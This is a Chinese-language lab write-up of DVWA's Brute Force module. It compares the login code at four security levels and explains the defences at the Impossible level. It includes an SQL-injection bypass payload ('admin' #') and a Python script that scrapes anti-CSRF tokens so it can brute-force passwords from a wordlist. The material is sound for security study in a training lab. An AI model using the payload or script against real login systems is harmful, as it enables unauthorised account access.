DVWA学习记录 PartⅠ

DVWA介绍

DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块，分别是Brute Force（暴力（破解））、Command Injection（命令行注入）、CSRF（跨站请求伪造）、File Inclusion（文件包含）、File Upload（文件上传）、Insecure CAPTCHA（不安全的验证码）、SQL Injection（SQL注入）、SQL Injection（Blind）（SQL盲注）、XSS（Reflected）（反射型跨站脚本）、XSS（Stored）（存储型跨站脚本）。

DVWA 1.9的代码分为四种安全级别：Low，Medium，High，Impossible。可以通过比较四种级别的代码，接触到一些PHP代码审计的内容。

Brute Force

1. 题目

Brute Force，即暴力（破解），是指黑客利用密码字典，使用穷举法猜解出用户口令，是现在最为广泛使用的攻击手法之一。

2. Low

a. 代码分析

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];
    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"]; 

        echo "$query";
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
        echo "$query";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} 

?>

服务器只验证了登录过程中Login参数是否被设置，没有任何防爆破的机制，而且对于输入的参数没有进行任何过滤。存在sql注入漏洞

b. 漏洞利用

1. 使用burpsuite进行爆破

   

2. sql注入

   payload：admin' #

   

3. Medium

a. 代码分析

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass ); 

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

对于输入的username和password进行了特殊字符的转义(mysql_real_escape_string)，但是安全度不高，MySQL5.5.37以下版本如果设置编码为GBK，能够构造编码绕过转义。对于登录失败后sleep(2)，不能有效防止爆破攻击。

b. 漏洞利用

使用burpsuite进行爆破

4. High

a. 代码分析

<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass ); 

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"]; 

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>

代码中增加了Token，可以防御CSRF攻击，在点击登录的时候同时会提交Token，增大了爆破的难度。

<form action="#" method="GET">
			Username:<br />
			<input type="text" name="username"><br />
			Password:<br />
			<input type="password" AUTOCOMPLETE="off" name="password"><br />
			<br />
			<input type="submit" value="Login" name="Login">
			<input type='hidden' name='user_token' value='33da2d6fe3888d8ac54296d7ab91e155' />
</form>

可以通过python脚本，进行爆破。

b. 漏洞利用

python脚本

from bs4 import BeautifulSoup
import requests

header = {
    'Cookie': 'security=high; PHPSESSID=02krk6ekcvc7ofissuaibfivh4'
}

url = "http://[ip]/DVWA/vulnerabilities/brute/"

def get_token(url, header):
    str_get = requests.get(url=url, headers=header)
    bs = BeautifulSoup(str_get.text, "html.parser")
    user_token = bs.find_all('input')[3].get('value')
    return user_token, str_get

user_token, str_ = get_token(url, header)
i = 1
for line in open("rkolin.txt"):
    url = "http://[ip]/DVWA/vulnerabilities/brute/" + \
          "?username=admin&password=" + line.strip() + \
          "&Login=Login&user_token=" + user_token
    user_token, str_ = get_token(url, header)
    code = str_.status_code
    length = len(str_.text)
    print(i, 'admin', line.strip(), code, length)
    if 'Username and/or password incorrect.' in str_.text:
        i += 1
        continue
    else:
        print("Success!,Password is '%s'" % line.strip())
        break

使用burpsuite：

获取数据包，选择Pitchfork

将线程数修改为1：

设置搜索项：

在发送数据包的时候实测会经过重定向，所以这里选择关注重定向：

修改第二条payload为递归搜索：

完成攻击：

5. impossible

a. 代码分析

<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass ); 

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false; 

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch(); 

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>"; 

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time(); 

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */ 

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    } 

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch(); 

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ]; 

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />"; 

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        } 

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) ); 

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>"; 

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } 

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
} 

// Generate Anti-CSRF token
generateSessionToken(); 

?>

代码加入了可靠的防爆破机制，当检测到频繁的错误登录后，系统会将账户锁定，爆破也就无法继续。

同时采用了更为安全的PDO（PHP Data Object）机制防御sql注入，这是因为不能使用PDO扩展本身执行任何数据库操作，而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。